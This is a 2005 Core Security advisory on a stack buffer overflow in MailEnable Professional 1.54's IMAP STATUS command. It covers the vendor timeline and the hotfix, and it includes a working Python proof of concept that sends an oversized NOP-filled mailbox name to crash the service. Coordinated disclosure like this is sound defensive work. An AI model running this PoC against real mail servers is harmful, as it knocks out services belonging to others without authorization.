MailEnable Buffer Overflow Vulnerability

Advisory ID: CORE-2005-0629

Bugtraq ID: 14243

CVE Name: CVE-2005-2278

Title: MailEnable Buffer Overflow Vulnerability

Class: Boundary Error Condition (Stack Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Vendors contacted:
- MailEnable
2005-06-30: Notification to vendor.
2005-06-30: Vendor acknowledged notification and provided a fix.

Release Mode: COORDINATED RELEASE

*Vulnerability Description:*

MailEnable, is mail server software that provides a messaging platform for Microsoft Windows. For more information about MailEnable see www.mailenable.com

Core researchers discovered buffer overflow vulnerability in the status command. Remote exploitation of this vulnerability could allow an attacker to execute arbitrary code with System privileges. The status command requires an authenticated session, so valid credentials are required.

*Vulnerable Packages:*

MailEnable Professional edition version 1.54

Tested on:
. Windows 2000 sp0
. Windows 2000 sp2
. Windows XP sp0

*Solution/Vendor Information/Workaround:*

This issue was addressed by the last hotfix for MailEnable (dated 30th May 2005). The hotfix can be downloaded from: www.mailenable.com/hotfix/

*Credits:*

This vulnerability was found by Ariel Sanchez from Core Security.

*Technical Description - Exploit/Concept Code:*

This vulnerability was found in the Imapd daemon service of MailEnable Professional edition version 1.54.

The vulnerability can be triggered by giving a long mailbox name argument to the status command. This will cause a stack based buffer overflow and null bytes (\x00).

The following is a Python proof-of-concept code that will trigger the vulnerability:

----------------------------------------------------------------------
#
# POC about imapd mailenable bug in status command
#

import sys
import imaplib

class poc:

def __init__(self,host,loginimap,passimap):
self.host=host
self.loginimap=loginimap
self.passimap=passimap

def exploit(self):
print "Please wait"

connect = imaplib.IMAP4(self.host)
connect.login(self.loginimap,self.passimap)
nops='\x00'
nops+='\x90'*10540
try:
typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)')
except Exception,e:
print "Service down!"
return 0

if(len(sys.argv) < 4):
print "Need 3 arguments, ./poc.py host user pass"
sys.exit(1)

exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
exp.exploit()
----------------------------------------------------------------------

*About CoreLabs*

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at www.coresecurity.com/core-labs.

*About Core Security*

Core Security develops strategic security solutions for Fortune 1000 corporations, government agencies and military organizations. The company offers information security software and services designed to assess risk and protect and manage information assets. 

*DISCLAIMER:*

The contents of this advisory are copyright (c) 2005 Core Security and (c) 2005 Corelabs and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

$Id: MailEnable-advisory.txt,v 1.5 2005/07/12 19:33:26 carlos Exp $